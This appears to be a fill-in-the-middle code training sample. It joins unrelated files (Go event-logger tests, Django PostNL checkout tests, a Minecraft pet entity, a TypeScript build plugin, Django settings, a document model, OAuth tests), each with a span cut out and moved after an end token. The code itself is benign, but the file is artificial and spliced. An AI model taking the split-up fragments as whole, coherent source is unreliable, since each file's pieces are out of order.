time.Since(t0) > timeout { t.Fatalf("Logging took too long") } } func TestUnsubscribe(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.AllEvents) l.Log(events.DeviceConnected, "foo") _, err := s.Poll(timeout) if err != nil { t.Fatal("Unexpected error:", err) } l.Unsubscribe(s) l.Log(events.DeviceConnected, "foo") _, err = s.Poll(timeout) if err != events.ErrClosed { t.Fatal("Unexpected non-Closed error:", err) } } func TestIDs(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.AllEvents) defer l.Unsubscribe(s) l.Log(events.DeviceConnected, "foo") _ = l.Subscribe(events.AllEvents) l.Log(events.DeviceConnected, "bar") ev, err := s.Poll(timeout) if err != nil { t.Fatal("Unexpected error:", err) } if ev.Data.(string) != "foo" { t.Fatal("Incorrect event:", ev)<|fim▁hole|> } id := ev.ID ev, err = s.Poll(timeout) if err != nil { t.Fatal("Unexpected error:", err) } if ev.Data.(string) != "bar" { t.Fatal("Incorrect event:", ev) } if ev.ID != id+1 { t.Fatalf("ID not incremented (%d != %d)", ev.ID, id+1) } } func TestBufferedSub(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.AllEvents) defer l.Unsubscribe(s) bs := events.NewBufferedSubscription(s, 10*events.BufferSize) go func() { for i := 0; i < 10*events.BufferSize; i++ { l.Log(events.DeviceConnected, fmt.Sprintf("event-%d", i)) if i%30 == 0 { // Give the buffer routine time to pick up the events time.Sleep(20 * time.Millisecond) } } }() recv := 0 for recv < 10*events.BufferSize { evs := bs.Since(recv, nil) for _, ev := range evs { if ev.ID != recv+1 { t.Fatalf("Incorrect ID; %d != %d", ev.ID, recv+1) } recv = ev.ID } } }<|fim▁end|>
<|file_name|>test_django.py<|end_file_name|><|fim▁begin|>import datetime import decimal from django.test import TestCase from django.core.cache import cache from httmock import HTTMock from django_dynamic_fixture import G, N from postnl_checkout.contrib.django_postnl_checkout.models import Order from .base import PostNLTestMixin class OrderTests(PostNLTestMixin, TestCase): """ Tests for Order model. """ maxDiff = None def setUp(self): super(OrderTests, self).setUp() self.order_datum = datetime.datetime( year=2011, month=7, day=21, hour=20, minute=11, second=0 ) self.verzend_datum = datetime.datetime( year=2011, month=7, day=22, hour=20, minute=11, second=0 ) def test_save(self): """ Test saving an Order model. """ instance = N(Order) instance.clean() instance.save() def test_prepare_order(self): """ Test prepare_order class method. """ # Setup mock response def response(url, request): self.assertXMLEqual( request.body, self.read_file('prepare_order_request.xml') ) return self.read_file('prepare_order_response.xml') kwargs = { 'AangebodenBetaalMethoden': { 'PrepareOrderBetaalMethode': { 'Code': 'IDEAL', 'Prijs': '5.00' } }, 'AangebodenCommunicatieOpties': { 'PrepareOrderCommunicatieOptie': { 'Code': 'NEWS' } }, # FIXME: the following is not submitted by SUDS # Most probably because it is not properly defined in the WSDL # Contact PostNL about this. # 'AangebodenOpties': { # 'PrepareOrderOptie': { # 'Code': 'WRAP', # 'Prijs': '2.50' # } # }, # 'AfleverOpties': { # 'AfleverOptie': { # 'Code': 'PG', # 'Kosten': '0.00', # 'Toegestaan': True # } # }, 'Consument': { 'ExtRef': '[email protected]' }, 'Contact': { 'Url': 'http://www.kadowereld.nl/url/contact' }, 'Order': { 'ExtRef': '1105_900', 'OrderDatum': self.order_datum, 'Subtotaal': '125.00', 'VerzendDatum': self.verzend_datum, 'VerzendKosten': '12.50' }, 'Retour': { 'BeschrijvingUrl': 'http://www.kadowereld.nl/url/beschrijving', 'PolicyUrl': 'http://www.kadowereld.nl/url/policy', 'RetourTermijn': 28, 'StartProcesUrl': 'http://www.kadowereld.nl/url/startproces' }, 'Service': { 'Url': 'http://www.kadowereld.nl/url/service' } } # Execute API call with HTTMock(response): instance = Order.prepare_order(**kwargs) # Assert model field values self.assertTrue(instance.pk) self.assertEquals( instance.order_token, '0cfb4be2-47cf-4eac-865c-d66657953d5c' ) self.assertEquals( instance.order_ext_ref, '1105_900' ) self.assertEquals( instance.order_date, self.order_datum ) # Assert JSON values self.assertEquals(instance.prepare_order_request, kwargs) self.assertEquals(instance.prepare_order_response, { 'Checkout': { 'OrderToken': '0cfb4be2-47cf-4eac-865c-d66657953d5c', 'Url': ( 'http://tpppm-test.e-id.nl/Orders/OrderCheckout' '?token=0cfb4be2-47cf-4eac-865c-d66657953d5c' ) }, 'Webshop': { 'IntRef': 'a0713e4083a049a996c302f48bb3f535' } }) def test_read_order(self): """ Test read_order method. """ # Setup mock response def response(url, request): self.assertXMLEqual( request.body, self.read_file('read_order_request.xml') ) return self.read_file('read_order_response.xml') instance = G( Order, order_token='0cfb4be2-47cf-4eac-865c-d66657953d5c' ) # Read order data with HTTMock(response): new_instance = instance.read_order() response_data = new_instance.read_order_response self.assertTrue(response_data) self.assertEquals(response_data, { 'Voorkeuren': { 'Bezorging': { 'Tijdvak': { 'Start': u'10:30', 'Eind': u'08:30' }, 'Datum': datetime.datetime(2012, 4, 26, 0, 0) } }, 'Consument': { 'GeboorteDatum': datetime.datetime(1977, 6, 15, 0, 0), 'ExtRef': u'jjansen', 'TelefoonNummer': u'06-12345678', 'Email': u'[email protected]' }, 'Facturatie': { 'Adres': { 'Huisnummer': u'1', 'Initialen': u'J', 'Geslacht': u'Meneer', 'Deurcode': None, 'Gebruik': u'P', 'Gebouw': None, 'Verdieping': None, 'Achternaam': u'Jansen', 'Afdeling': None, 'Regio': None, 'Land': u'NL', 'Wijk': None, 'Postcode': u'4131LV', 'Straat': 'Lage Biezenweg', 'Bedrijf': None, 'Plaats': u'Vianen', 'Tussenvoegsel': None, 'Voornaam': u'Jan', 'HuisnummerExt': None } }, 'Webshop': { 'IntRef': u'a0713e4083a049a996c302f48bb3f535' }, 'CommunicatieOpties': { 'ReadOrderResponseCommunicatieOptie': [ { 'Text': u'Do not deliver to neighbours', 'Code': u'REMARK' } ] }, 'Bezorging': { 'ServicePunt': { 'Huisnummer': None, 'Initialen': None, 'Geslacht': None, 'Deurcode': None, 'Gebruik': None, 'Gebouw': None, 'Verdieping': None, 'Achternaam': None, 'Afdeling': None, 'Regio': None, 'Land': None, 'Wijk': None, 'Postcode': None, 'Straat': None, 'Bedrijf': None, 'Plaats': None, 'Tussenvoegsel': None, 'Voornaam': None, 'HuisnummerExt': None }, 'Geadresseerde': { 'Huisnummer': u'1', 'Initialen': u'J', 'Geslacht': u'Meneer', 'Deurcode': None, 'Gebruik': u'Z', 'Gebouw': None, 'Verdieping': None, 'Achternaam': u'Janssen', 'Afdeling': None, 'Regio': None, 'Land': u'NL', 'Wijk': None, 'Postcode': u'4131LV', 'Straat': u'Lage Biezenweg ', 'Bedrijf': u'E-ID', 'Plaats': u'Vianen', 'Tussenvoegsel': None, 'Voornaam': u'Jan', 'HuisnummerExt': None } }, 'Opties': { 'ReadOrderResponseOpties': [ { 'Text': u'Congratulat ions with your new foobar!', 'Code': u'CARD', 'Prijs': decimal.Decimal('2.00') } ] }, 'Order': { 'ExtRef': u'15200_001' }, 'BetaalMethode': { 'Optie': u'0021', 'Code': u'IDEAL', 'Prijs': decimal.Decimal('0.00') } }) def test_confirm_order(self): """ Test confirm_order """ def response(url, request): self.assertXMLEqual( request.body, self.read_file('confirm_order_request.xml') ) return self.read_file('confirm_order_response.xml') kwargs = { 'Order': { 'PaymentTotal': decimal.Decimal('183.25') }<|fim▁hole|> order_token='0cfb4be2-47cf-4eac-865c-d66657953d5c', order_ext_ref='1105_900' ) # Execute API call with HTTMock(response): instance.confirm_order(**kwargs) def test_update_order(self): """ Test update_order """ def response_success(url, request): self.assertXMLEqual( request.body, self.read_file('update_order_request.xml') ) return self.read_file('update_order_response_success.xml') def response_fail(url, request): self.assertXMLEqual( request.body, self.read_file('update_order_request.xml') ) return self.read_file('update_order_response_fail.xml') kwargs = { 'Order': { 'ExtRef': 'FDK004', 'Zending': { 'UpdateOrderOrderZending': { 'Busstuk': { 'UpdateOrderOrderZendingBusstuk': { 'Verzonden': '23-08-2011 12:00:00' } }, 'ExtRef': '642be996-6ab3-4a4c-b7d6-2417a4cee0df', 'Pakket': { 'UpdateOrderOrderZendingPakket': { 'Barcode': '3s123456789', 'Postcode': '4131LV' } } } } } } instance = G( Order, order_token='0cfb4be2-47cf-4eac-865c-d66657953d5c', order_ext_ref='1105_900' ) # Make call fail with HTTMock(response_fail): self.assertRaises( Exception, lambda: instance.update_order(**kwargs) ) # Make call pass with HTTMock(response_success): response = instance.update_order(**kwargs) self.assertTrue(response) # Make sure the requested stuff is saved self.assertEquals( instance.update_order_request, { 'Checkout': { 'OrderToken': '0cfb4be2-47cf-4eac-865c-d66657953d5c' }, 'Order': { 'ExtRef': 'FDK004', 'Zending': { 'UpdateOrderOrderZending': { 'Busstuk': { 'UpdateOrderOrderZendingBusstuk': { 'Verzonden': '23-08-2011 12:00:00' } }, 'ExtRef': '642be996-6ab3-4a4c-b7d6-2417a4cee0df', 'Pakket': { 'UpdateOrderOrderZendingPakket': { 'Barcode': '3s123456789', 'Postcode': '4131LV' } } } } } } ) def test_ping_status(self): """ Test ping_status """ instance = G(Order) self.response_called = 0 def ok_response(url, request): # Assert self.assertXMLEqual( request.body, self.read_file('ping_status_request.xml') ) self.response_called += 1 return self.read_file('ping_status_response_ok.xml') def nok_response(url, request): return self.read_file('ping_status_response_nok.xml') with HTTMock(ok_response): self.assertEquals(instance.ping_status(), True) self.assertEquals(self.response_called, 1) # Repeated call should not cause the response to be called with HTTMock(ok_response): self.assertEquals(instance.ping_status(), True) self.assertEquals(self.response_called, 1) # Clear cache cache.clear() with HTTMock(nok_response): self.assertEquals(instance.ping_status(), False)<|fim▁end|>
} instance = G( Order,
<|file_name|>EntityGiantPet.java<|end_file_name|><|fim▁begin|>/* * This file is part of EchoPet. * * EchoPet is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EchoPet is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EchoPet. If not, see <http://www.gnu.org/licenses/>. */ package com.dsh105.echopet.compat.nms.v1_14_R1.entity.type; import com.dsh105.echopet.compat.api.entity.EntityPetType; import com.dsh105.echopet.compat.api.entity.EntitySize; import com.dsh105.echopet.compat.api.entity.IPet; import com.dsh105.echopet.compat.api.entity.PetType; import com.dsh105.echopet.compat.api.entity.SizeCategory; import com.dsh105.echopet.compat.api.entity.type.nms.IEntityGiantPet; import net.minecraft.server.v1_14_R1.EntityTypes; import net.minecraft.server.v1_14_R1.World; @EntitySize(width = 5.5F, height = 5.5F) @EntityPetType(petType = PetType.GIANT) public class EntityGiantPet extends EntityZombiePet implements IEntityGiantPet{ public EntityGiantPet(World world){ super(EntityTypes.GIANT, world); } public EntityGiantPet(World world, IPet pet){ super(EntityTypes.GIANT, world, pet); } @Override<|fim▁hole|> } }<|fim▁end|>
public SizeCategory getSizeCategory(){ return SizeCategory.OVERSIZE;
<|file_name|>plugin_typescript.go<|end_file_name|><|fim▁begin|>package main import ( "errors" "github.com/JoshStrobl/trunk" "github.com/stroblindustries/coreutils" "io/ioutil" "os" "path/filepath" "regexp" "strings" ) // TypeScriptPlugin is our TypeScript plugin type TypeScriptPlugin struct { } // SimpleTypescriptCompilerOptions are simple compiler options, namely declaration creation and removal of comments. var SimpleTypescriptCompilerOptions []string // AdvancedTypescriptCompilerOptions are advanced compiler options, includes simple options. var AdvancedTypescriptCompilerOptions []string // StrictTypescriptCompilerOptions are our most strict compiler options, includes advanced options. var StrictTypescriptCompilerOptions []string // ValidTypeScriptModes is a list of valid TypeScript flag modes var ValidTypeScriptModes []string // ValidTypeScriptTargets is a list of valid TypeScript targets var ValidTypeScriptTargets []string // Do some Typescript compiler option initing func init() { SimpleTypescriptCompilerOptions = []string{ "--declaration", // Create a declaration file "--removeComments", // Remove comments } AdvancedTypescriptCompilerOptions = []string{ "--noFallthroughCasesInSwitch", // Disallow fallthrough cases in switches "--noImplicitReturns", // Disallow implicit returns "--noUnusedLocals", // Disallow unused locals "--noUnusedParameters", // Disallow unused parameters } AdvancedTypescriptCompilerOptions = append(AdvancedTypescriptCompilerOptions, SimpleTypescriptCompilerOptions...) StrictTypescriptCompilerOptions = []string{ "--forceConsistentCasingInFileNames", // Enforce consistency in file names } StrictTypescriptCompilerOptions = append(StrictTypescriptCompilerOptions, AdvancedTypescriptCompilerOptions...) ValidTypeScriptModes = []string{"simple", "advanced", "strict"} ValidTypeScriptTargets = []string{"ES2017", "ES2018", "ES2019", "ES2020", "ESNext"} } // Check will check the specified project's settings related to our plugin func (p *TypeScriptPlugin) Check(n *NoodlesProject) NoodlesCheckResult { results := make(NoodlesCheckResult) deprecations := []string{} errors := []string{} recommendations := []string{} if !n.Compress { // Compression not enabled recommendations = append(recommendations, "Compression is not enabled, meaning we will only generate a non-minified JS file. Recommended enabling Compress.") } if n.Mode == "" { recommendations = append(recommendations, "No mode is set, meaning we'll default to Advanced flag set. Recommend setting a Mode.") } else if !ListContains(ValidTypeScriptModes, n.Mode) { errors = append(errors, "No valid Mode set. Must be simple, advanced, or strict.") } if n.Target == "" { recommendations = append(recommendations, "No Target set, meaning we default to the latest formal specification, currently ES2018.") } else if !ListContains(ValidTypeScriptTargets, n.Target) { errors = append(errors, "No valid target set. Must be "+strings.Join(ValidTypeScriptTargets, ", ")) } results["Deprecations"] = deprecations results["Errors"] = errors results["Recommendations"] = recommendations return results } // Lint is currently a stub func, offers no functionality yet. func (p *TypeScriptPlugin) Lint(n *NoodlesProject, confidence float64) (lintErr error) { trunk.LogErr("Linting of TypeScript projects not currently supported.") return } // PreRun will check if the necessary executables for TypeScript and compression are installed func (p *TypeScriptPlugin) PreRun(n *NoodlesProject) (preRunErr error) { executables := []string{DependenciesMap["compress"].Binary, DependenciesMap["typescript"].Binary} for _, executable := range executables { // For each executable if !coreutils.ExecutableExists(executable) { // If this executable does not exist preRunErr = errors.New(executable + " is not installed on your system. Please run noodles setup.") break } } return } // PostRun will perform compression if the project has enabled it func (p *TypeScriptPlugin) PostRun(n *NoodlesProject) (postRunErr error) { destDir := filepath.Dir(n.Destination) fileName := filepath.Base(n.Destination) fileNameWithoutExtension := strings.Replace(fileName, filepath.Ext(n.Destination), "", -1) // Get the base name and remove the extension if n.AppendHash { // Appended hash jsExtension := ".js" if n.Compress { // If we're not compressing jsExtension = ".min.js" } RemoveHashedFiles(destDir, jsExtension, fileNameWithoutExtension) // Remove existing hashed files } if n.Compress { // If we should minify the content trunk.LogInfo("Minifying compiled JavaScript.") uglifyArgs := []string{ // Define uglifyArgs n.Destination, // Input "--compress", // Yes, I like to compress things "--mangle", // Mangle variable names } closureOutput := coreutils.ExecCommand("terser", uglifyArgs, true) // Run our JavaScript compressor / minifier and store the output in closureOutput nodeDeprecationRemover, _ := regexp.Compile(`\(node\:.+\n`) // Remove any lines starting with (node: closureOutput = nodeDeprecationRemover.ReplaceAllString(closureOutput, "") closureOutput = strings.TrimSpace(closureOutput) // Fix trailing newlines var minifiedJSDestination string if n.AppendHash { // If we should append the hash, just immediately set our minifiedJSDestination so we can skip our move step hash := CreateHash([]byte(closureOutput)) minifiedJSDestination = filepath.Join(destDir, fileNameWithoutExtension+"-"+hash+".min.js") } else { minifiedJSDestination = filepath.Join(destDir, fileNameWithoutExtension+".min.js") } postRunErr = coreutils.WriteOrUpdateFile(minifiedJSDestination, []byte(closureOutput), coreutils.NonGlobalFileMode) // Write or update the minified JS file content to build/lowercaseProjectName.min.js } else { // If we're not minifying the content if n.AppendHash { // If we're appending the hash to the .js file var fileContent []byte fileContent, postRunErr = ioutil.ReadFile(n.Destination) if postRunErr == nil { // No error during read hash := CreateHash(fileContent) newFileName := filepath.Join(destDir, fileNameWithoutExtension+"-"+hash+".js") os.Rename(n.Destination, newFileName) // Rename the file } } } return } // RequiresPreRun is a stub function. func (p *TypeScriptPlugin) RequiresPreRun(n *NoodlesProject) error { return nil } // RequiresPostRun is a stub function. func (p *TypeScriptPlugin) RequiresPostRun(n *NoodlesProject) error {<|fim▁hole|> // Run will run our TypeScript compilation func (p *TypeScriptPlugin) Run(n *NoodlesProject) (runErr error) { if n.Destination == "" { // If no custom Destination is set n.Destination = filepath.Join("build", n.SimpleName+".js") } n.Mode = strings.ToLower(n.Mode) // Lowercase n.Mode if n.Mode == "" || ((n.Mode != "simple") && (n.Mode != "advanced") && (n.Mode != "strict")) { // If no Mode is set, or is not set to a valid one n.Mode = "advanced" // Pick a reasonable middleground } if n.Source == "" { // If no source is defined n.Source = filepath.Join("src", "typescript", n.SimpleName+".ts") } if !ListContains(ValidTypeScriptTargets, n.Target) { // If this is not a valid target n.Target = "ES2019" // Set to 2019 } var modeTypeArgs []string // The mode args we'll be using during compilation switch n.Mode { case "simple": modeTypeArgs = SimpleTypescriptCompilerOptions case "advanced": modeTypeArgs = AdvancedTypescriptCompilerOptions case "strict": modeTypeArgs = StrictTypescriptCompilerOptions } tscFlags := append(modeTypeArgs, []string{ // Set tscFlags to the flags we'll pass to the Typescript copmiler "--target", n.Target, // Add our target "--outFile", n.Destination, // Add our destination n.Source, // Add source }...) commandOutput := coreutils.ExecCommand("tsc", tscFlags, true) // Call execCommand and get its commandOutput if strings.Contains(commandOutput, "error TS") { // If tsc reported errors runErr = errors.New(commandOutput) } return }<|fim▁end|>
return nil }
<|file_name|>settings.py<|end_file_name|><|fim▁begin|># Customize django settings: DEBUG = True INSTALLED_APPS = ( 'django_translate', 'example_basic.translate' ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django_translate.middleware.LocaleMiddleware', ) SECRET_KEY = 'not_so_secret' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', 'english'), ('fr', 'french'), ) # Adjust django_translate settings: # In DEBUG we want to use DebugTranslator - it reloads # your translations on-the-fly so it's very easy to work with them # It will also throw an exception whenever there is any problem # with your translations (e.g. a translation is not found) - no more # guessing "why my translations are not used?" if DEBUG: from python_translate.translations import DebugTranslator TRANZ_TRANSLATOR_CLASS = DebugTranslator # By default only "json" and "yml" loaders are enabled, # but we want to use "po" files in this example from python_translate import loaders TRANZ_LOADERS = { "po": loaders.PoFileLoader(), "yml": loaders.YamlFileLoader() } # All settings below are the default ones: import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ALLOWED_HOSTS = [] ROOT_URLCONF = 'example_basic.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, },<|fim▁hole|> # Database # https://docs.djangoproject.com/en/1.8/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Internationalization # https://docs.djangoproject.com/en/1.8/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_URL = '/static/'<|fim▁end|>
] WSGI_APPLICATION = 'example_basic.wsgi.application'
<|file_name|>DTEND.js<|end_file_name|><|fim▁begin|>import propertyTest from '../../helpers/propertyTest' propertyTest('DTEND', { transformableValue: new Date('1991-03-07 09:00:00'),<|fim▁hole|><|fim▁end|>
transformedValue: '19910307T090000' })
<|file_name|>text.py<|end_file_name|><|fim▁begin|>""" Generic interchange document structures. """ STYLE_TYPE_INT = 'int' STYLE_TYPE_FLOAT = 'float' STYLE_TYPE_CDATA = 'cdata' STYLE_TYPE_BOOLEAN = 'boolean' STYLE_TYPES = ( STYLE_TYPE_INT, STYLE_TYPE_FLOAT, STYLE_TYPE_CDATA, STYLE_TYPE_BOOLEAN ) class Style(object): def __init__(self, types): object.__init__(self) self.name = None self.source = None self.__settings = {} self.__types = types for key, val in types.items(): assert (isinstance(key, str) ), "key '{0}' not string".format(key) if isinstance(val, str): assert (val in STYLE_TYPES ), "key '{0}' type '{1}' not valid".format(key, val) else: assert (hasattr(val, '__iter__') and callable(getattr(val, '__iter__')) ), "key '{0}' type '{1}' not list".format(key, val) # FIXME Assert entries in type are strings def get_setting(self, name): if name in self.__settings: return self.__settings[name] if name in self.__types: return None raise Exception("bad setting name: {0}".format(str(name))) def set_setting(self, name, value): if name in self.__types: t = self.__types[name] if t == STYLE_TYPE_INT: value = int(value) elif t == STYLE_TYPE_FLOAT: value = float(value) elif t == STYLE_TYPE_CDATA: value = str(value) elif t == STYLE_TYPE_BOOLEAN: value = bool(value) else: value = str(value).lower() if value not in t: raise Exception("Bad setting value for name {0}: {1}".format( str(name), value)) self.__settings[name] = value raise Exception("bad setting name: {0}".format(str(name))) def defaults(self, default_settings): for key, val in default_settings.iteritems(): self.set_setting(key, val) def keys(self): return self.__types.keys() def __getitem__(self, key): return self.get_setting(key) def __setitem__(self, name, value): self.set_setting(name, value) def __str__(self): return "Style({0}: {1})".format(self.name, self.__settings) class BlockStyle(Style): def __init__(self): # All size measurements in mm Style.__init__(self, { 'margin-left': STYLE_TYPE_FLOAT, 'margin-right': STYLE_TYPE_FLOAT, 'margin-top': STYLE_TYPE_FLOAT, 'margin-bottom': STYLE_TYPE_FLOAT, 'page-break': STYLE_TYPE_BOOLEAN, 'h-align': ["center", "left", "right", "justify"], 'border-left-width': STYLE_TYPE_INT, 'border-right-width': STYLE_TYPE_INT, 'border-top-width': STYLE_TYPE_INT, 'border-bottom-width': STYLE_TYPE_INT }) class TextStyle(Style): def __init__(self): Style.__init__(self, { 'italic': STYLE_TYPE_BOOLEAN, 'bold': STYLE_TYPE_BOOLEAN, 'underline': STYLE_TYPE_BOOLEAN, 'strikethrough': STYLE_TYPE_BOOLEAN, 'all-caps': STYLE_TYPE_BOOLEAN, 'small-caps': STYLE_TYPE_BOOLEAN, 'v-align': ['sup', 'sub', 'normal'], 'size': STYLE_TYPE_INT, 'font': ['sans', 'serif', 'mono', 'normal'], 'color': STYLE_TYPE_CDATA, 'background-color': STYLE_TYPE_CDATA }) class ContentObj(object): def __init__(self): object.__init__(self) self.source = None def get_text(self): raise NotImplementedError() class Div(ContentObj): """A block spacing object.""" def __init__(self): ContentObj.__init__(self) self.style = BlockStyle() self.is_section = False def get_children(self): raise NotImplementedError() def get_text(self): ret = "" for ch in self.get_children(): ret += ch.get_text() return ret class SideBar(Div): """A side section of content.""" def __init__(self): Div.__init__(self) self.divs = [] def get_children(self): return self.divs <|fim▁hole|> Div.__init__(self) def get_children(self): return [] class Para(Div): def __init__(self): Div.__init__(self) self.spans = [] def add_span(self, span): assert isinstance(span, Span), "not a span: {0}".format(span) self.spans.append(span) def get_children(self): return self.spans def __str__(self): spanstxt = u"[" visited = False for spn in self.spans: if visited: spanstxt += u", " else: visited = True spanstxt += repr(spn) spanstxt += u"]" return u"Para(Style: {0}; spans: {1})".format( self.style, spanstxt) class TableRow(Div): def __init__(self): Div.__init__(self) self.cells = [] def add_cell(self, cell): assert isinstance(cell, Div) self.cells.append(cell) def get_children(self): return self.cells class Table(Div): def __init__(self): Div.__init__(self) self.header = None self.rows = [] def set_header(self, header): assert header is None or isinstance(header, TableRow) self.header = header def add_row(self, row): assert isinstance(row, TableRow) self.rows.append(row) def get_children(self): ret = [self.header] ret.extend(self.rows) return ret class Span(ContentObj): """A inline object. Contained in a Div""" def __init__(self): ContentObj.__init__(self) self.style = TextStyle() def get_text(self): return "" class Text(Span): def __init__(self): Span.__init__(self) self.text = "" def get_text(self): return self.text def __str__(self): return u"Text(Style: {0}, text: '{1}')".format( self.style, self.text) class SpecialCharacter(Text): def __init__(self): Text.__init__(self) self.html = "" self.is_whitespace = False class Correction(Span): def __init__(self, original): Span.__init__(self) self.original = original self.text = "" class Media(Span): def __init__(self, filename): Span.__init__(self) assert filename.find('.') >= 0 self.filename = filename self.ext = filename[filename.rindex('.')+1:] def get_mimetype(self): raise NotImplementedError() def save_as(self, dest_stream): raise NotImplementedError() class Image(Media): def __init__(self, filename): Media.__init__(self, filename) assert filename.find('.') >= 0 self.filename = filename self.ext = filename[filename.rindex('.')+1:] def get_mimetype(self): return "image/{0}".format(self.ext) def save_as(self, dest_stream): raise NotImplementedError() class Section(Div): def __init__(self, index): Div.__init__(self) self.is_section = True self.index = index self.is_toc = False self.is_book = False def get_children(self): raise NotImplementedError() class Chapter(Section): def __init__(self, name, index): Section.__init__(self, index) self.name = name self.divs = [] def add_div(self, div): assert isinstance(div, Div) self.divs.append(div) def get_children(self): return self.divs class TOC(Section): def __init__(self, index, depth_index_func): Section.__init__(self, index) self.is_toc = True self.title_div = None if depth_index_func is not None: assert callable(depth_index_func) self.depth_index_func = depth_index_func # Should be a list of block styles, # one per depth of the TOC self.line_div_styles = [] # A list of nodes self.section_tree = [] def get_children(self): ret = [] if self.title_div is not None: ret.append(self.title_div) ret.extend(self.section_tree) return ret def set_chapters(self, chapters): self.section_tree = self.__chapter_builder(chapters, 0) def __chapter_builder(self, sections, depth): order = [] index = 0 for ch in sections: if isinstance(ch, Chapter): index += 1 order.append(self.__create_entry(ch, depth, index)) kids = self.__chapter_builder(ch.get_children(), depth + 1) if len(kids) > 0: order.extend(kids) return order def __create_entry(self, ch, depth, index): assert isinstance(ch, Chapter) prefix = None if self.depth_index_func is not None: prefix = self.depth_index_func(depth, index) d = TocRow(ch, depth, index, prefix) if depth > len(self.line_div_styles): d.style = self.line_div_styles[-1] else: d.style = self.line_div_styles[depth] return d class TocRow(Div): def __init__(self, chapter, depth, index, prefix): Div.__init__(self) self.name = chapter.name self.prefix = prefix or "" self.depth = depth self.index = index self.text = Text() self.text.text = self.prefix + self.name def get_children(self): return [self.text] class MetaData(object): def __init__(self): object.__init__(self) self.author_first = "" # (includes middle name / initial) self.author_last = "" self.year = "" self.cover = None # Image self.title = "" self.description = "" self.isbn_10 = "" self.isbn_13 = "" self.language = "en" self.subtitles = [] def set_cover(self, cover): assert isinstance(cover, Image) self.cover = cover def as_dict(self): return { "author_first": self.author_first, "author_last": self.author_last, "year": self.year, "title": self.title, "description": self.description, "isbn_10": self.isbn_10, "isbn_13": self.isbn_13, "language": self.language, "subtitles": self.subtitles }<|fim▁end|>
class SeparatorLine(Div): """A single line separating parts of a chapter.""" def __init__(self):
<|file_name|>oauth_test.go<|end_file_name|><|fim▁begin|>package legacy import ( "testing" "k8s.io/apimachinery/pkg/runtime" "github.com/openshift/origin/pkg/api/apihelpers/apitesting" oauthapi "github.com/openshift/origin/pkg/oauth/apis/oauth" ) func TestOAuthFieldSelectorConversions(t *testing.T) { install := func(scheme *runtime.Scheme) error { InstallInternalLegacyOAuth(scheme)<|fim▁hole|> apitesting.FieldKeyCheck{ SchemeBuilder: []func(*runtime.Scheme) error{install}, Kind: GroupVersion.WithKind("OAuthAccessToken"), // Ensure previously supported labels have conversions. DO NOT REMOVE THINGS FROM THIS LIST AllowedExternalFieldKeys: []string{"clientName", "userName", "userUID", "authorizeToken"}, FieldKeyEvaluatorFn: oauthapi.OAuthAccessTokenFieldSelector, }.Check(t) apitesting.FieldKeyCheck{ SchemeBuilder: []func(*runtime.Scheme) error{install}, Kind: GroupVersion.WithKind("OAuthAuthorizeToken"), // Ensure previously supported labels have conversions. DO NOT REMOVE THINGS FROM THIS LIST AllowedExternalFieldKeys: []string{"clientName", "userName", "userUID"}, FieldKeyEvaluatorFn: oauthapi.OAuthAuthorizeTokenFieldSelector, }.Check(t) apitesting.FieldKeyCheck{ SchemeBuilder: []func(*runtime.Scheme) error{install}, Kind: GroupVersion.WithKind("OAuthClientAuthorization"), // Ensure previously supported labels have conversions. DO NOT REMOVE THINGS FROM THIS LIST AllowedExternalFieldKeys: []string{"clientName", "userName", "userUID"}, FieldKeyEvaluatorFn: oauthapi.OAuthClientAuthorizationFieldSelector, }.Check(t) }<|fim▁end|>
return nil }
<|file_name|>context_processors.py<|end_file_name|><|fim▁begin|>from django.contrib.auth.forms import AuthenticationForm from django.core.urlresolvers import reverse from actstream.models import user_stream from dnstorm.app import DNSTORM_URL from dnstorm.app.utils import get_option from dnstorm.app.models import Problem, Idea from dnstorm.app.utils import get_option def base(request): """ Provides basic variables used for all templates. """ context = dict() context['dnstorm_url'] = DNSTORM_URL # Links if not context.get('site_title', None): context['site_title'] = '%s | %s' % ( get_option('site_title'), get_option('site_description')) context['site_url'] = get_option('site_url') context['login_form'] = AuthenticationForm()<|fim▁hole|> # Checks context['is_update'] = 'update' in request.resolver_match.url_name # Activity context['user_activity'] = user_stream(request.user, with_user_activity=True) if request.user.is_authenticated() else None context['user_activity_counter'] = get_option('user_%d_activity_counter' % request.user.id) if request.user.is_authenticated() else None return context<|fim▁end|>
context['login_url'] = reverse('login') + '?next=' + request.build_absolute_uri() if 'next' not in request.GET else '' context['logout_url'] = reverse('logout') + '?next=' + request.build_absolute_uri() if 'next' not in request.GET else ''
